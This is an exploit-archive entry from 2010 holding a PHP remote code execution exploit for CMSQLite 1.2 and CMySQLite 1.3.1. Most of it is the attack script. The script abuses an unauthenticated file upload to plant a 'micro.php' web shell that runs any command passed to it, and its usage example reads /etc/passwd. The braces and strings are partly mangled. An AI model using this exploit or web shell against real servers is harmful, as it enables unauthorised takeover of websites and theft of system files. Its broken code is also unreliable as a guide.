发布 2010-08-15 漏洞条目

CMSQLite 1.2 / CMySQLite 1.3.1 – Remote Code Execution

Exploit Source

#!/usr/bin/php -q -d short_open_tag=on

echo "

CMSQLite <= 1.2 & CMySQLite <= 1.3.1 Remote Code Execution Exploit

by BlackHawk <hawkgotyou gmail com> <http://twitter.com/itablackhawk>

Thanks to rgod for the php code and Natural Killer

if ($argc<4) {

echo "Usage: php ".$argv[0]." Host Path CMD

Host: target server (ip/hostname)

Path: path of CMSQLite / CMySQLite

CMD: A Shell Command

Example:

php ".$argv[0]." localhost /template/ cat /etc/passwd";

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

Explanation:

No check of user rights when uploading a file, and file type is checked via

HTTP header Content-Type, wich can be different to the real.

exploit creates a micro.php shell on target site

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

fclose($ock);

}

$host=$argv[1];

$path=$argv[2];

$cmd="";

for ($i=3; $i<=$argc-1; $i++){

$cmd.=" ".$argv[$i];

}

$port=80;

$proxy="";

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "- Uploading Shell Creator..\r\n";

$data="-----------------------------7d529a1d23092a\r\n";

$data.="Content-Disposition: form-data; name=\"fileName\"; filename=\"oh_my_shell.php\"\r\n";

$data.="Content-Type: application/zip\r\n\r\n";

$data.="<?php

\$fp=fopen('micro.php','w');

fputs(\$fp,'<?php error_reporting(0);

set_time_limit(0);

if (get_magic_quotes_gpc()) {

\$_GET[cmd]=stripslashes(\$_GET[cmd]);

}

echo 666999;

passthru(\$_GET[cmd]);

echo 666999;

?>');

fclose(\$fp);

chmod('micro.php',777);

?>\r\n";

$data.='-----------------------------7d529a1d23092a

Content-Disposition: form-data; name="upload"

-----------------------------7d529a1d23092a--

$packet="POST ".$p."admin/mediaAdmin.php HTTP/1.0\r\n";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";

$packet.="Referer: http://".$host.$path."/example.html\r\n";

$packet.="Accept-Language: it\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";

$packet.="Accept-Encoding: gzip, deflate\r\n";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cache-Control: no-cache\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

echo "- Creating the Shell..\r\n";

$packet ="GET ".$p."media/oh_my_shell.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

sleep(3);

echo "- Execute Commands..\r\n";

$packet ="GET ".$p."media/micro.php?cmd=$cmd HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

if (strstr($html,"666999"))

{

echo "Exploit succeeded...\r\n";

$temp=explode("666999",$html);

die("\r\n".$temp[1]."\r\n");

}

作者: BlackHawk
日期: 2010-08-15
类别: webapps
平台: php

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